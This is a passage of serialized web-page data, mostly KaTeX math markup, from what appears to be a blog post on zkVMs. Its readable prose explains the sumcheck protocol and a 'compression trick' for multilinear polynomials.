,"style":106802},[2040],"height:0.3173em;",[106804],{"type":23,"tag":139,"props":106805,"children":106807},{"style":106806},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[106808,106813],{"type":23,"tag":139,"props":106809,"children":106812},{"className":106810,"style":106811},[2049],"height:2.5em;",[],{"type":23,"tag":139,"props":106814,"children":106818},{"className":106815},[2055,106816,106817,2058],"reset-size3","size1",[106819],{"type":23,"tag":139,"props":106820,"children":106822},{"className":106821},[2009,2058],[106823],{"type":28,"value":647},{"type":23,"tag":139,"props":106825,"children":106827},{"className":106826},[19753],[106828],{"type":28,"value":19756},{"type":23,"tag":139,"props":106830,"children":106832},{"className":106831},[2035],[106833],{"type":23,"tag":139,"props":106834,"children":106837},{"className":106835,"style":106836},[2040],"height:0.143em;",[106838],{"type":23,"tag":139,"props":106839,"children":106840},{},[],{"type":23,"tag":139,"props":106842,"children":106844},{"className":106843},[2192,2058],[106845],{"type":28,"value":19703},{"type":23,"tag":139,"props":106847,"children":106849},{"className":106848},[19725,2058],[106850],{"type":28,"value":74522},{"type":23,"tag":139,"props":106852,"children":106854},{"className":106853},[2009,2058],[106855],{"type":28,"value":2021},{"type":23,"tag":139,"props":106857,"children":106859},{"className":106858},[2121,2058],[106860],{"type":28,"value":2124},{"type":23,"tag":139,"props":106862,"children":106864},{"className":106863},[2009,2058],[106865],{"type":28,"value":647},{"type":23,"tag":139,"props":106867,"children":106869},{"className":106868},[19747,2058],[106870],{"type":28,"value":32029},{"type":23,"tag":139,"props":106872,"children":106874},{"className":106873},[19753],[106875],{"type":28,"value":19756},{"type":23,"tag":139,"props":106877,"children":106879},{"className":106878},[2035],[106880],{"type":23,"tag":139,"props":106881,"children":106883},{"className":106882,"style":19764},[2040],[106884],{"type":23,"tag":139,"props":106885,"children":106886},{},[],{"type":23,"tag":139,"props":106888,"children":106890},{"className":106889,"style":2128},[2089],[],{"type":23,"tag":139,"props":106892,"children":106894},{"className":106893},[19632],[106895,106900],{"type":23,"tag":139,"props":106896,"children":106898},{"className":106897,"style":19639},[19632,19637,19638],[106899],{"type":28,"value":106746},{"type":23,"tag":139,"props":106901,"children":106903},{"className":106902},[2025],[106904],{"type":23,"tag":139,"props":106905,"children":106907},{"className":106906},[2030,19650],[106908,107023],{"type":23,"tag":139,"props":106909,"children":106911},{"className":106910},[2035],[106912,107018],{"type":23,"tag":139,"props":106913,"children":106915},{"className":106914,"style":19659},[2040],[106916],{"type":23,"tag":139,"props":106917,"children":106918},{"style":19663},[106919,106923],{"type":23,"tag":139,"props":106920,"children":106922},{"className":106921,"style":2050},[2049],[],{"type":23,"tag":139,"props":106924,"children":106926},{"className":106925},[2055,2056,2057,2058],[106927],{"type":23,"tag":139,"props":106928,"children":106930},{"className":106929},[2009,2058],[106931,106988,106993,106998,107003,107008,107013],{"type":23,"tag":139,"props":106932,"children":106934},{"className":106933},[2009,2058],[106935,106940],{"type":23,"tag":139,"props":106936,"children":106938},{"className":106937},[2009,19596,2058],[106939],{"type":28,"value":17284},{"type":23,"tag":139,"props":106941,"children":106943},{"className":106942},[2025],[106944],{"type":23,"tag":139,"props":106945,"children":106947},{"className":106946},[2030,19650],[106948,106977],{"type":23,"tag":139,"props":106949,"children":106951},{"className":106950},[2035],[106952,106972],{"type":23,"tag":139,"props":106953,"children":106955},{"className":106954,"style":106802},[2040],[106956],{"type":23,"tag":139,"props":106957,"children":106958},{"style":106806},[106959,106963],{"type":23,"tag":139,"props":106960,"children":106962},{"className":106961,"style":106811},[2049],[],{"type":23,"tag":139,"props":106964,"children":106966},{"className":106965},[2055,106816,106817,2058],[106967],{"type":23,"tag":139,"props":106968,"children":106970},{"className":106969},[2009,2058],[106971],{"type":28,"value":1099},{"type":23,"tag":139,"props":106973,"children":106975},{"className":106974},[19753],[106976],{"type":28,"value":19756},{"type":23,"tag":139,"props":106978,"children":106980},{"className":106979},[2035],[106981],{"type":23,"tag":139,"props":106982,"children":106984},{"className":106983,"style":106836},[2040],[106985],{"type":23,"tag":139,"props":106986,"children":106987},{},[],{"type":23,"tag":139,"props":106989,"children":106991},{"className":106990},[2192,2058],[106992],{"type":28,"value":19703},{"type":23,"tag":139,"props":106994,"children":106996},{"className":106995},[19725,2058],[106997],{"type":28,"value":74522},{"type":23,"tag":139,"props":106999,"children":107001},{"className":107000},[2009,2058],[107002],{"type":28,"value":2021},{"type":23,"tag":139,"props":107004,"children":107006},{"className":107005},[2121,2058],[107007],{"type":28,"value":2124},{"type":23,"tag":139,"props":107009,"children":107011},{"className":107010},[2009,2058],[107012],{"type":28,"value":647},{"type":23,"tag":139,"props":107014,"children":107016},{"className":107015},[19747,2058],[107017],{"type":28,"value":32029},{"type":23,"tag":139,"props":107019,"children":107021},{"className":107020},[19753],[107022],{"type":28,"value":19756},{"type":23,"tag":139,"props":107024,"children":107026},{"className":107025},[2035],[107027],{"type":23,"tag":139,"props":107028,"children":107030},{"className":107029,"style":19764},[2040],[107031],{"type":23,"tag":139,"props":107032,"children":107033},{},[],{"type":23,"tag":139,"props":107035,"children":107037},{"className":107036,"style":2128},[2089],[],{"type":23,"tag":139,"props":107039,"children":107042},{"className":107040},[107041],"minner",[107043],{"type":28,"value":107044},"⋯",{"type":23,"tag":139,"props":107046,"children":107048},{"className":107047,"style":2128},[2089],[],{"type":23,"tag":139,"props":107050,"children":107052},{"className":107051},[19632],[107053,107058],{"type":23,"tag":139,"props":107054,"children":107056},{"className":107055,"style":19639},[19632,19637,19638],[107057],{"type":28,"value":106746},{"type":23,"tag":139,"props":107059,"children":107061},{"className":107060},[2025],[107062],{"type":23,"tag":139,"props":107063,"children":107065},{"className":107064},[2030,19650],[107066,107182],{"type":23,"tag":139,"props":107067,"children":107069},{"className":107068},[2035],[107070,107177],{"type":23,"tag":139,"props":107071,"children":107073},{"className":107072,"style":19659},[2040],[107074],{"type":23,"tag":139,"props":107075,"children":107076},{"style":19663},[107077,107081],{"type":23,"tag":139,"props":107078,"children":107080},{"className":107079,"style":2050},[2049],[],{"type":23,"tag":139,"props":107082,"children":107084},{"className":107083},[2055,2056,2057,2058],[107085],{"type":23,"tag":139,"props":107086,"children":107088},{"className":107087},[2009,2058],[107089,107147,107152,107157,107162,107167,107172],{"type":23,"tag":139,"props":107090,"children":107092},{"className":107091},[2009,2058],[107093,107098],{"type":23,"tag":139,"props":107094,"children":107096},{"className":107095},[2009,19596,2058],[107097],{"type":28,"value":17284},{"type":23,"tag":139,"props":107099,"children":107101},{"className":107100},[2025],[107102],{"type":23,"tag":139,"props":107103,"children":107105},{"className":107104},[2030,19650],[107106,107136],{"type":23,"tag":139,"props":107107,"children":107109},{"className":107108},[2035],[107110,107131],{"type":23,"tag":139,"props":107111,"children":107114},{"className":107112,"style":107113},[2040],"height:0.1645em;",[107115],{"type":23,"tag":139,"props":107116,"children":107117},{"style":106806},[107118,107122],{"type":23,"tag":139,"props":107119,"children":107121},{"className":107120,"style":106811},[2049],[],{"type":23,"tag":139,"props":107123,"children":107125},{"className":107124},[2055,106816,106817,2058],[107126],{"type":23,"tag":139,"props":107127,"children":107129},{"className":107128},[2009,19596,2058],[107130],{"type":28,"value":54302},{"type":23,"tag":139,"props":107132,"children":107134},{"className":107133},[19753],[107135],{"type":28,"value":19756},{"type":23,"tag":139,"props":107137,"children":107139},{"className":107138},[2035],[107140],{"type":23,"tag":139,"props":107141,"children":107143},{"className":107142,"style":106836},[2040],[107144],{"type":23,"tag":139,"props":107145,"children":107146},{},[],{"type":23,"tag":139,"props":107148,"children":107150},{"className":107149},[2192,2058],[107151],{"type":28,"value":19703},{"type":23,"tag":139,"props":107153,"children":107155},{"className":107154},[19725,2058],[107156],{"type":28,"value":74522},{"type":23,"tag":139,"props":107158,"children":107160},{"className":107159},[2009,2058],[107161],{"type":28,"value":2021},{"type":23,"tag":139,"props":107163,"children":107165},{"className":107164},[2121,2058],[107166],{"type":28,"value":2124},{"type":23,"tag":139,"props":107168,"children":107170},{"className":107169},[2009,2058],[107171],{"type":28,"value":647},{"type":23,"tag":139,"props":107173,"children":107175},{"className":107174},[19747,2058],[107176],{"type":28,"value":32029},{"type":23,"tag":139,"props":107178,"children":107180},{"className":107179},[19753],[107181],{"type":28,"value":19756},{"type":23,"tag":139,"props":107183,"children":107185},{"className":107184},[2035],[107186],{"type":23,"tag":139,"props":107187,"children":107189},{"className":107188,"style":19764},[2040],[107190],{"type":23,"tag":139,"props":107191,"children":107192},{},[],{"type":23,"tag":139,"props":107194,"children":107196},{"className":107195,"style":2128},[2089],[],{"type":23,"tag":139,"props":107198,"children":107200},{"className":107199,"style":91437},[2009,19596],[107201],{"type":28,"value":107202},"g",{"type":23,"tag":139,"props":107204,"children":107206},{"className":107205},[19725],[107207],{"type":28,"value":262},{"type":23,"tag":139,"props":107209,"children":107211},{"className":107210},[2009],[107212,107217],{"type":23,"tag":139,"props":107213,"children":107215},{"className":107214},[2009,19596],[107216],{"type":28,"value":17284},{"type":23,"tag":139,"props":107218,"children":107220},{"className":107219},[2025],[107221],{"type":23,"tag":139,"props":107222,"children":107224},{"className":107223},[2030,19650],[107225,107254],{"type":23,"tag":139,"props":107226,"children":107228},{"className":107227},[2035],[107229,107249],{"type":23,"tag":139,"props":107230,"children":107232},{"className":107231,"style":91003},[2040],[107233],{"type":23,"tag":139,"props":107234,"children":107235},{"style":91007},[107236,107240],{"type":23,"tag":139,"props":107237,"children":107239},{"className":107238,"style":2050},[2049],[],{"type":23,"tag":139,"props":107241,"children":107243},{"className":107242},[2055,2056,2057,2058],[107244],{"type":23,"tag":139,"props":107245,"children":107247},{"className":107246},[2009,2058],[107248],{"type":28,"value":647},{"type":23,"tag":139,"props":107250,"children":107252},{"className":107251},[19753],[107253],{"type":28,"value":19756},{"type":23,"tag":139,"props":107255,"children":107257},{"className":107256},[2035],[107258],{"type":23,"tag":139,"props":107259,"children":107261},{"className":107260,"style":91034},[2040],[107262],{"type":23,"tag":139,"props":107263,"children":107264},{},[],{"type":23,"tag":139,"props":107266,"children":107268},{"className":107267},[2121],[107269],{"type":28,"value":2124},{"type":23,"tag":139,"props":107271,"children":107273},{"className":107272,"style":2128},[2089],[],{"type":23,"tag":139,"props":107275,"children":107277},{"className":107276},[2009],[107278,107283],{"type":23,"tag":139,"props":107279,"children":107281},{"className":107280},[2009,19596],[107282],{"type":28,"value":17284},{"type":23,"tag":139,"props":107284,"children":107286},{"className":107285},[2025],[107287],{"type":23,"tag":139,"props":107288,"children":107290},{"className":107289},[2030,19650],[107291,107320],{"type":23,"tag":139,"props":107292,"children":107294},{"className":107293},[2035],[107295,107315],{"type":23,"tag":139,"props":107296,"children":107298},{"className":107297,"style":91003},[2040],[107299],{"type":23,"tag":139,"props":107300,"children":107301},{"style":91007},[107302,107306],{"type":23,"tag":139,"props":107303,"children":107305},{"className":107304,"style":2050},[2049],[],{"type":23,"tag":139,"props":107307,"children":107309},{"className":107308},[2055,2056,2057,2058],[107310],{"type":23,"tag":139,"props":107311,"children":107313},{"className":107312},[2009,2058],[107314],{"type":28,"value":1099},{"type":23,"tag":139,"props":107316,"children":107318},{"className":107317},[19753],[107319],{"type":28,"value":19756},{"type":23,"tag":139,"props":107321,"children":107323},{"className":107322},[2035],[107324],{"type":23,"tag":139,"props":107325,"children":107327},{"className":107326,"style":91034},[2040],[107328],{"type":23,"tag":139,"props":107329,"children":107330},{},[],{"type":23,"tag":139,"props":107332,"children":107334},{"className":107333},[2121],[107335],{"type":28,"value":2124},{"type":23,"tag":139,"props":107337,"children":107339},{"className":107338,"style":2128},[2089],[],{"type":23,"tag":139,"props":107341,"children":107343},{"className":107342},[107041],[107344],{"type":28,"value":107345},"…",{"type":23,"tag":139,"props":107347,"children":107349},{"className":107348,"style":2128},[2089],[],{"type":23,"tag":139,"props":107351,"children":107353},{"className":107352},[2121],[107354],{"type":28,"value":2124},{"type":23,"tag":139,"props":107356,"children":107358},{"className":107357,"style":2128},[2089],[],{"type":23,"tag":139,"props":107360,"children":107362},{"className":107361},[2009],[107363,107368],{"type":23,"tag":139,"props":107364,"children":107366},{"className":107365},[2009,19596],[107367],{"type":28,"value":17284},{"type":23,"tag":139,"props":107369,"children":107371},{"className":107370},[2025],[107372],{"type":23,"tag":139,"props":107373,"children":107375},{"className":107374},[2030,19650],[107376,107406],{"type":23,"tag":139,"props":107377,"children":107379},{"className":107378},[2035],[107380,107401],{"type":23,"tag":139,"props":107381,"children":107384},{"className":107382,"style":107383},[2040],"height:0.1514em;",[107385],{"type":23,"tag":139,"props":107386,"children":107387},{"style":91007},[107388,107392],{"type":23,"tag":139,"props":107389,"children":107391},{"className":107390,"style":2050},[2049],[],{"type":23,"tag":139,"props":107393,"children":107395},{"className":107394},[2055,2056,2057,2058],[107396],{"type":23,"tag":139,"props":107397,"children":107399},{"className":107398},[2009,19596,2058],[107400],{"type":28,"value":54302},{"type":23,"tag":139,"props":107402,"children":107404},{"className":107403},[19753],[107405],{"type":28,"value":19756},{"type":23,"tag":139,"props":107407,"children":107409},{"className":107408},[2035],[107410],{"type":23,"tag":139,"props":107411,"children":107413},{"className":107412,"style":91034},[2040],[107414],{"type":23,"tag":139,"props":107415,"children":107416},{},[],{"type":23,"tag":139,"props":107418,"children":107420},{"className":107419},[19747],[107421],{"type":28,"value":1104},{"type":23,"tag":24,"props":107423,"children":107424},{},[107425,107427,107488],{"type":28,"value":107426},"The naive approach would be for the verifier to compute all ",{"type":23,"tag":135,"props":107428,"children":107430},{"className":107429},[1981,1982],[107431],{"type":23,"tag":139,"props":107432,"children":107434},{"className":107433},[1987],[107435],{"type":23,"tag":139,"props":107436,"children":107438},{"className":107437,"ariaHidden":1993},[1992],[107439],{"type":23,"tag":139,"props":107440,"children":107442},{"className":107441},[1998],[107443,107447],{"type":23,"tag":139,"props":107444,"children":107446},{"className":107445,"style":106668},[2003],[],{"type":23,"tag":139,"props":107448,"children":107450},{"className":107449},[2009],[107451,107456],{"type":23,"tag":139,"props":107452,"children":107454},{"className":107453},[2009],[107455],{"type":28,"value":1099},{"type":23,"tag":139,"props":107457,"children":107459},{"className":107458},[2025],[107460],{"type":23,"tag":139,"props":107461,"children":107463},{"className":107462},[2030],[107464],{"type":23,"tag":139,"props":107465,"children":107467},{"className":107466},[2035],[107468],{"type":23,"tag":139,"props":107469,"children":107471},{"className":107470,"style":106668},[2040],[107472],{"type":23,"tag":139,"props":107473,"children":107474},{"style":2044},[107475,107479],{"type":23,"tag":139,"props":107476,"children":107478},{"className":107477,"style":2050},[2049],[],{"type":23,"tag":139,"props":107480,"children":107482},{"className":107481},[2055,2056,2057,2058],[107483],{"type":23,"tag":139,"props":107484,"children":107486},{"className":107485},[2009,19596,2058],[107487],{"type":28,"value":54302},{"type":28,"value":107489}," evaluations. This is exponentially expensive.",{"type":23,"tag":24,"props":107491,"children":107492},{},[107493,107495,107500],{"type":28,"value":107494},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":23,"tag":56,"props":107496,"children":107497},{},[107498],{"type":28,"value":107499},"only one",{"type":28,"value":73},{"type":23,"tag":24,"props":107502,"children":107503},{},[107504],{"type":23,"tag":429,"props":107505,"children":107508},{"alt":107506,"src":107507},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":23,"tag":24,"props":107510,"children":107511},{},[107512,107514,107606,107608,107793,107795,107820,107822,107900,107902,107981],{"type":28,"value":107513},"In each round, the prover must send a polynomial ",{"type":23,"tag":135,"props":107515,"children":107517},{"className":107516},[1981,1982],[107518],{"type":23,"tag":139,"props":107519,"children":107521},{"className":107520},[1987],[107522],{"type":23,"tag":139,"props":107523,"children":107525},{"className":107524,"ariaHidden":1993},[1992],[107526],{"type":23,"tag":139,"props":107527,"children":107529},{"className":107528},[1998],[107530,107534,107591,107596,107601],{"type":23,"tag":139,"props":107531,"children":107533},{"className":107532,"style":2110},[2003],[],{"type":23,"tag":139,"props":107535,"children":107537},{"className":107536},[2009],[107538,107543],{"type":23,"tag":139,"props":107539,"children":107541},{"className":107540,"style":91437},[2009,19596],[107542],{"type":28,"value":107202},{"type":23,"tag":139,"props":107544,"children":107546},{"className":107545},[2025],[107547],{"type":23,"tag":139,"props":107548,"children":107550},{"className":107549},[2030,19650],[107551,107580],{"type":23,"tag":139,"props":107552,"children":107554},{"className":107553},[2035],[107555,107575],{"type":23,"tag":139,"props":107556,"children":107558},{"className":107557,"style":91480},[2040],[107559],{"type":23,"tag":139,"props":107560,"children":107561},{"style":91484},[107562,107566],{"type":23,"tag":139,"props":107563,"children":107565},{"className":107564,"style":2050},[2049],[],{"type":23,"tag":139,"props":107567,"children":107569},{"className":107568},[2055,2056,2057,2058],[107570],{"type":23,"tag":139,"props":107571,"children":107573},{"className":107572},[2009,19596,2058],[107574],{"type":28,"value":1728},{"type":23,"tag":139,"props":107576,"children":107578},{"className":107577},[19753],[107579],{"type":28,"value":19756},{"type":23,"tag":139,"props":107581,"children":107583},{"className":107582},[2035],[107584],{"type":23,"tag":139,"props":107585,"children":107587},{"className":107586,"style":91034},[2040],[107588],{"type":23,"tag":139,"props":107589,"children":107590},{},[],{"type":23,"tag":139,"props":107592,"children":107594},{"className":107593},[19725],[107595],{"type":28,"value":262},{"type":23,"tag":139,"props":107597,"children":107599},{"className":107598,"style":92971},[2009,19596],[107600],{"type":28,"value":4136},{"type":23,"tag":139,"props":107602,"children":107604},{"className":107603},[19747],[107605],{"type":28,"value":1104},{"type":28,"value":107607}," such that ",{"type":23,"tag":135,"props":107609,"children":107611},{"className":107610},[1981,1982],[107612],{"type":23,"tag":139,"props":107613,"children":107615},{"className":107614},[1987],[107616],{"type":23,"tag":139,"props":107617,"children":107619},{"className":107618,"ariaHidden":1993},[1992],[107620,107713],{"type":23,"tag":139,"props":107621,"children":107623},{"className":107622},[1998],[107624,107628,107685,107690,107695,107700,107704,107709],{"type":23,"tag":139,"props":107625,"children":107627},{"className":107626,"style":2110},[2003],[],{"type":23,"tag":139,"props":107629,"children":107631},{"className":107630},[2009],[107632,107637],{"type":23,"tag":139,"props":107633,"children":107635},{"className":107634,"style":91437},[2009,19596],[107636],{"type":28,"value":107202},{"type":23,"tag":139,"props":107638,"children":107640},{"className":107639},[2025],[107641],{"type":23,"tag":139,"props":107642,"children":107644},{"className":107643},[2030,19650],[107645,107674],{"type":23,"tag":139,"props":107646,"children":107648},{"className":107647},[2035],[107649,107669],{"type":23,"tag":139,"props":107650,"children":107652},{"className":107651,"style":91480},[2040],[107653],{"type":23,"tag":139,"props":107654,"children":107655},{"style":91484},[107656,107660],{"type":23,"tag":139,"props":107657,"children":107659},{"className":107658,"style":2050},[2049],[],{"type":23,"tag":139,"props":107661,"children":107663},{"className":107662},[2055,2056,2057,2058],[107664],{"type":23,"tag":139,"props":107665,"children":107667},{"className":107666},[2009,19596,2058],[107668],{"type":28,"value":1728},{"type":23,"tag":139,"props":107670,"children":107672},{"className":107671},[19753],[107673],{"type":28,"value":19756},{"type":23,"tag":139,"props":107675,"children":107677},{"className":107676},[2035],[107678],{"type":23,"tag":139,"props":107679,"children":107681},{"className":107680,"style":91034},[2040],[107682],{"type":23,"tag":139,"props":107683,"children":107684},{},[],{"type":23,"tag":139,"props":107686,"children":107688},{"className":107687},[19725],[107689],{"type":28,"value":262},{"type":23,"tag":139,"props":107691,"children":107693},{"className":107692},[2009],[107694],{"type":28,"value":2021},{"type":23,"tag":139,"props":107696,"children":107698},{"className":107697},[19747],[107699],{"type":28,"value":1104},{"type":23,"tag":139,"props":107701,"children":107703},{"className":107702,"style":2090},[2089],[],{"type":23,"tag":139,"props":107705,"children":107707},{"className":107706},[2095],[107708],{"type":28,"value":2382},{"type":23,"tag":139,"props":107710,"children":107712},{"className":107711,"style":2090},[2089],[],{"type":23,"tag":139,"props":107714,"children":107716},{"className":107715},[1998],[107717,107721,107778,107783,107788],{"type":23,"tag":139,"props":107718,"children":107720},{"className":107719,"style":2110},[2003],[],{"type":23,"tag":139,"props":107722,"children":107724},{"className":107723},[2009],[107725,107730],{"type":23,"tag":139,"props":107726,"children":107728},{"className":107727,"style":91437},[2009,19596],[107729],{"type":28,"value":107202},{"type":23,"tag":139,"props":107731,"children":107733},{"className":107732},[2025],[107734],{"type":23,"tag":139,"props":107735,"children":107737},{"className":107736},[2030,19650],[107738,107767],{"type":23,"tag":139,"props":107739,"children":107741},{"className":107740},[2035],[107742,107762],{"type":23,"tag":139,"props":107743,"children":107745},{"className":107744,"style":91480},[2040],[107746],{"type":23,"tag":139,"props":107747,"children":107748},{"style":91484},[107749,107753],{"type":23,"tag":139,"props":107750,"children":107752},{"className":107751,"style":2050},[2049],[],{"type":23,"tag":139,"props":107754,"children":107756},{"className":107755},[2055,2056,2057,2058],[107757],{"type":23,"tag":139,"props":107758,"children":107760},{"className":107759},[2009,19596,2058],[107761],{"type":28,"value":1728},{"type":23,"tag":139,"props":107763,"children":107765},{"className":107764},[19753],[107766],{"type":28,"value":19756},{"type":23,"tag":139,"props":107768,"children":107770},{"className":107769},[2035],[107771],{"type":23,"tag":139,"props":107772,"children":107774},{"className":107773,"style":91034},[2040],[107775],{"type":23,"tag":139,"props":107776,"children":107777},{},[],{"type":23,"tag":139,"props":107779,"children":107781},{"className":107780},[19725],[107782],{"type":28,"value":262},{"type":23,"tag":139,"props":107784,"children":107786},{"className":107785},[2009],[107787],{"type":28,"value":647},{"type":23,"tag":139,"props":107789,"children":107791},{"className":107790},[19747],[107792],{"type":28,"value":1104},{"type":28,"value":107794}," equals the previous claim. If the prover is lying about the original sum ",{"type":23,"tag":135,"props":107796,"children":107798},{"className":107797},[1981,1982],[107799],{"type":23,"tag":139,"props":107800,"children":107802},{"className":107801},[1987],[107803],{"type":23,"tag":139,"props":107804,"children":107806},{"className":107805,"ariaHidden":1993},[1992],[107807],{"type":23,"tag":139,"props":107808,"children":107810},{"className":107809},[1998],[107811,107815],{"type":23,"tag":139,"props":107812,"children":107814},{"className":107813,"style":19591},[2003],[],{"type":23,"tag":139,"props":107816,"children":107818},{"className":107817,"style":91185},[2009,19596],[107819],{"type":28,"value":91188},{"type":28,"value":107821},", then they must lie about ",{"type":23,"tag":135,"props":107823,"children":107825},{"className":107824},[1981,1982],[107826],{"type":23,"tag":139,"props":107827,"children":107829},{"className":107828},[1987],[107830],{"type":23,"tag":139,"props":107831,"children":107833},{"className":107832,"ariaHidden":1993},[1992],[107834],{"type":23,"tag":139,"props":107835,"children":107837},{"className":107836},[1998],[107838,107843],{"type":23,"tag":139,"props":107839,"children":107842},{"className":107840,"style":107841},[2003],"height:0.625em;vertical-align:-0.1944em;",[],{"type":23,"tag":139,"props":107844,"children":107846},{"className":107845},[2009],[107847,107852],{"type":23,"tag":139,"props":107848,"children":107850},{"className":107849,"style":91437},[2009,19596],[107851],{"type":28,"value":107202},{"type":23,"tag":139,"props":107853,"children":107855},{"className":107854},[2025],[107856],{"type":23,"tag":139,"props":107857,"children":107859},{"className":107858},[2030,19650],[107860,107889],{"type":23,"tag":139,"props":107861,"children":107863},{"className":107862},[2035],[107864,107884],{"type":23,"tag":139,"props":107865,"children":107867},{"className":107866,"style":91480},[2040],[107868],{"type":23,"tag":139,"props":107869,"children":107870},{"style":91484},[107871,107875],{"type":23,"tag":139,"props":107872,"children":107874},{"className":107873,"style":2050},[2049],[],{"type":23,"tag":139,"props":107876,"children":107878},{"className":107877},[2055,2056,2057,2058],[107879],{"type":23,"tag":139,"props":107880,"children":107882},{"className":107881},[2009,19596,2058],[107883],{"type":28,"value":1728},{"type":23,"tag":139,"props":107885,"children":107887},{"className":107886},[19753],[107888],{"type":28,"value":19756},{"type":23,"tag":139,"props":107890,"children":107892},{"className":107891},[2035],[107893],{"type":23,"tag":139,"props":107894,"children":107896},{"className":107895,"style":91034},[2040],[107897],{"type":23,"tag":139,"props":107898,"children":107899},{},[],{"type":28,"value":107901}," somewhere. But since the verifier picks a random ",{"type":23,"tag":135,"props":107903,"children":107905},{"className":107904},[1981,1982],[107906],{"type":23,"tag":139,"props":107907,"children":107909},{"className":107908},[1987],[107910],{"type":23,"tag":139,"props":107911,"children":107913},{"className":107912,"ariaHidden":1993},[1992],[107914],{"type":23,"tag":139,"props":107915,"children":107917},{"className":107916},[1998],[107918,107923],{"type":23,"tag":139,"props":107919,"children":107922},{"className":107920,"style":107921},[2003],"height:0.5806em;vertical-align:-0.15em;",[],{"type":23,"tag":139,"props":107924,"children":107926},{"className":107925},[2009],[107927,107932],{"type":23,"tag":139,"props":107928,"children":107930},{"className":107929,"style":90951},[2009,19596],[107931],{"type":28,"value":91770},{"type":23,"tag":139,"props":107933,"children":107935},{"className":107934},[2025],[107936],{"type":23,"tag":139,"props":107937,"children":107939},{"className":107938},[2030,19650],[107940,107970],{"type":23,"tag":139,"props":107941,"children":107943},{"className":107942},[2035],[107944,107965],{"type":23,"tag":139,"props":107945,"children":107947},{"className":107946,"style":91480},[2040],[107948],{"type":23,"tag":139,"props":107949,"children":107951},{"style":107950},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[107952,107956],{"type":23,"tag":139,"props":107953,"children":107955},{"className":107954,"style":2050},[2049],[],{"type":23,"tag":139,"props":107957,"children":107959},{"className":107958},[2055,2056,2057,2058],[107960],{"type":23,"tag":139,"props":107961,"children":107963},{"className":107962},[2009,19596,2058],[107964],{"type":28,"value":1728},{"type":23,"tag":139,"props":107966,"children":107968},{"className":107967},[19753],[107969],{"type":28,"value":19756},{"type":23,"tag":139,"props":107971,"children":107973},{"className":107972},[2035],[107974],{"type":23,"tag":139,"props":107975,"children":107977},{"className":107976,"style":91034},[2040],[107978],{"type":23,"tag":139,"props":107979,"children":107980},{},[],{"type":28,"value":107982},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":23,"tag":16900,"props":107984,"children":107986},{"id":107985},"the-compression-trick",[107987],{"type":28,"value":107988},"The Compression Trick",{"type":23,"tag":24,"props":107990,"children":107991},{},[107992,107994,108144,108146,108426],{"type":28,"value":107993},"For degree-1 (multilinear) polynomials, ",{"type":23,"tag":135,"props":107995,"children":107997},{"className":107996},[1981,1982],[107998],{"type":23,"tag":139,"props":107999,"children":108001},{"className":108000},[1987],[108002],{"type":23,"tag":139,"props":108003,"children":108005},{"className":108004,"ariaHidden":1993},[1992],[108006,108099,108126],{"type":23,"tag":139,"props":108007,"children":108009},{"className":108008},[1998],[108010,108014,108071,108076,108081,108086,108090,108095],{"type":23,"tag":139,"props":108011,"children":108013},{"className":108012,"style":2110},[2003],[],{"type":23,"tag":139,"props":108015,"children":108017},{"className":108016},[2009],[108018,108023],{"type":23,"tag":139,"props":108019,"children":108021},{"className":108020,"style":91437},[2009,19596],[108022],{"type":28,"value":107202},{"type":23,"tag":139,"props":108024,"children":108026},{"className":108025},[2025],[108027],{"type":23,"tag":139,"props":108028,"children":108030},{"className":108029},[2030,19650],[108031,108060],{"type":23,"tag":139,"props":108032,"children":108034},{"className":108033},[2035],[108035,108055],{"type":23,"tag":139,"props":108036,"children":108038},{"className":108037,"style":91480},[2040],[108039],{"type":23,"tag":139,"props":108040,"children":108041},{"style":91484},[108042,108046],{"type":23,"tag":139,"props":108043,"children":108045},{"className":108044,"style":2050},[2049],[],{"type":23,"tag":139,"props":108047,"children":108049},{"className":108048},[2055,2056,2057,2058],[108050],{"type":23,"tag":139,"props":108051,"children":108053},{"className":108052},[2009,19596,2058],[108054],{"type":28,"value":1728},{"type":23,"tag":139,"props":108056,"children":108058},{"className":108057},[19753],[108059],{"type":28,"value":19756},{"type":23,"tag":139,"props":108061,"children":108063},{"className":108062},[2035],[108064],{"type":23,"tag":139,"props":108065,"children":108067},{"className":108066,"style":91034},[2040],[108068],{"type":23,"tag":139,"props":108069,"children":108070},{},[],{"type":23,"tag":139,"props":108072,"children":108074},{"className":108073},[19725],[108075],{"type":28,"value":262},{"type":23,"tag":139,"props":108077,"children":108079},{"className":108078,"style":92971},[2009,19596],[108080],{"type":28,"value":4136},{"type":23,"tag":139,"props":108082,"children":108084},{"className":108083},[19747],[108085],{"type":28,"value":1104},{"type":23,"tag":139,"props":108087,"children":108089},{"className":108088,"style":2187},[2089],[],{"type":23,"tag":139,"props":108091,"children":108093},{"className":108092},[2192],[108094],{"type":28,"value":1067},{"type":23,"tag":139,"props":108096,"children":108098},{"className":108097,"style":2187},[2089],[],{"type":23,"tag":139,"props":108100,"children":108102},{"className":108101},[1998],[108103,108108,108113,108117,108122],{"type":23,"tag":139,"props":108104,"children":108107},{"className":108105,"style":108106},[2003],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":23,"tag":139,"props":108109,"children":108111},{"className":108110},[2009,19596],[108112],{"type":28,"value":64},{"type":23,"tag":139,"props":108114,"children":108116},{"className":108115,"style":2090},[2089],[],{"type":23,"tag":139,"props":108118,"children":108120},{"className":108119},[2095],[108121],{"type":28,"value":2382},{"type":23,"tag":139,"props":108123,"children":108125},{"className":108124,"style":2090},[2089],[],{"type":23,"tag":139,"props":108127,"children":108129},{"className":108128},[1998],[108130,108134,108139],{"type":23,"tag":139,"props":108131,"children":108133},{"className":108132,"style":90866},[2003],[],{"type":23,"tag":139,"props":108135,"children":108137},{"className":108136},[2009,19596],[108138],{"type":28,"value":1199},{"type":23,"tag":139,"props":108140,"children":108142},{"className":108141,"style":92971},[2009,19596],[108143],{"type":28,"value":4136},{"type":28,"value":108145}," has only two coefficients. Since the verifier knows 